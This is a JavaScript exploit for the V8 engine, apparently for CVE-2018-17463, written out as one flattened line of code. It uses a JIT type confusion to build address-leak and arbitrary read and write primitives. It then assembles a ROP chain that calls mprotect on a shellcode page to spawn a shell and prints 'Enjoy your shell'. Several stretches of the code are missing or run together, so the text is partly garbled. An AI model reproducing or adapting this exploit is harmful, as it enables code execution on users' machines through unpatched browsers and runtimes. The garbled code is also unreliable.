/** * Steps to Exploit * ----------------------------------------- * 1) check if vulnerable * 2) find overlapping properties * 3) create read priv * 4) create write priv * 5) conduct a memory write * 6) conduct a full /bin/sh exploit for fun. * 7) look into JIT for fun and profit */ const NUM_PROPERTIES = 32; const MAX_ITERATIONS = 100000; /** *Need to reverse Engineer these conversions. * **/ let floatView = new Float64Array(1); let uint64View = new BigUint64Array(floatView.buffer); let uint8View = new Uint8Array(floatView.buffer); Number.prototype.toBigInt = function toBigInt() { floatView[0] = this; return uint64View[0]; }; BigInt.prototype.toNumber = function toNumber() { uint64View[0] = this; return floatView[0]; }; function gc() { for (let i = 0; i < 100; i++) { new ArrayBuffer(0x100000); } } function checkVuln() { function hax(o) { //first step force the compiler to make a map check o.inline; Object.create(o); //force d8 to remove the map check return o.outline; } for (let i=0; i `let ${p} = o.${p};`).join('\n')} return [${propertyNames.join(', ')}]; } `; eval(command); let propertyValues = []; for (let i = 1; i -NUM_PROPERTIES) { [p1, p2] = [i, -r[i]] //%DebugPrint(findObj) //Math.cosh(1); return; } } } throw "Failed to find overlapping properties" } function addrof(obj) { command = ` function hax(o) { let a = o.inline; this.Object.create(o); return o.p${p1}.x1; } `; eval(command); let propertyValues = []; propertyValues[p1] = {x1: 13.37, x2: 13.38}; propertyValues[p2] = {y1: obj}; for (let j=0;j rsp stack_piviot_gadget : function() { return 0xc3268b48|0; }, //pop rsi, pop rdi, pop rax pop_gadget: function() { return 0xc3585f5e|0; }, //pop rdx; syscall; ret syscall_gadget: function() { //return 0xcc80cd5a|0; return 0xc3050f5a|0; } }; for (let i = 0;i<100000;i++) { exploit_victim.trigger(); exploit_victim.pop_gadget(); exploit_victim.syscall_gadget(); exploit_victim.stack_piviot_gadget(); } /**** * Getting Victim object address that contains trigger function and gadgets ****/ let exploit_victim_addr = memory.addrof(exploit_victim); let trigger_addr = memory.read64(exploit_victim_addr + 24n)-1n; //let trigger_code = memory.read64(trigger_addr+48n)-1n; let trigger_blockcontext = memory.read64(trigger_addr+32n); let pop_gadget = memory.read64(exploit_victim_addr +40n) -1n; pop_gadget = memory.read64(pop_gadget + 48n) -1n +176n; let syscall = memory.read64(exploit_victim_addr +48n) -1n; syscall = memory.read64(syscall + 48n) -1n +176n; console.log(`[+] syscall 0x${syscall.toString(16)} [+]`); let stack_piviot_gadget_addr = memory.read64(exploit_victim_addr + 32n) -1n; stack_piviot_gadget_addr = memory.read64(stack_piviot_gadget_addr+48n) - 1n + 176n; console.log(`[+] stackpivot 0x${stack_piviot_gadget_addr.toString(16)} [+]`); let shellcode_addr = memory.addrof(shellcode); shellcode_addr = memory.read64(shellcode_addr+24n)-1n; shellcode_addr = memory.read64(shellcode_addr+32n); console.log(`[+] shellcode 0x${shellcode_addr.toString(16)} [+]`); /** *Ropchain to mprotect to make RWE memory page * **/ rop_chain[0] = pop_gadget; //start building the rop chain rop_chain[1] = 8192n; //rsi rop_chain[2] = shellcode_addr & 0xFFFFFFFFFFFFF000n; //rdi rop_chain[3] = 10n; //rax rop_chain[4] = syscall; rop_chain[5] = 0x7n; //rdx rop_chain[6] = shellcode_addr; //rip let rop_chain_addr = memory.addrof(rop_chain); rop_chain_addr = memory.read64(rop_chain_addr+24n)-1n; rop_chain_addr = memory.read64(rop_chain_addr+32n); console.log(`[+] RopChain at 0x${rop_chain_addr.toString(16)} [+]`); Math.cosh(1); console.log('[+] Enjoy your shell [+]'); memory.write64(trigger_addr+48n,stack_piviot_gadget_addr-0x44n); //Context is saved must be the last thing we do memory.write64(trigger_blockcontext,rop_chain_addr); exploit_victim.trigger(); } else { console.log("v8 is not vulnerable to CVE-2018-17463"); } } pwn();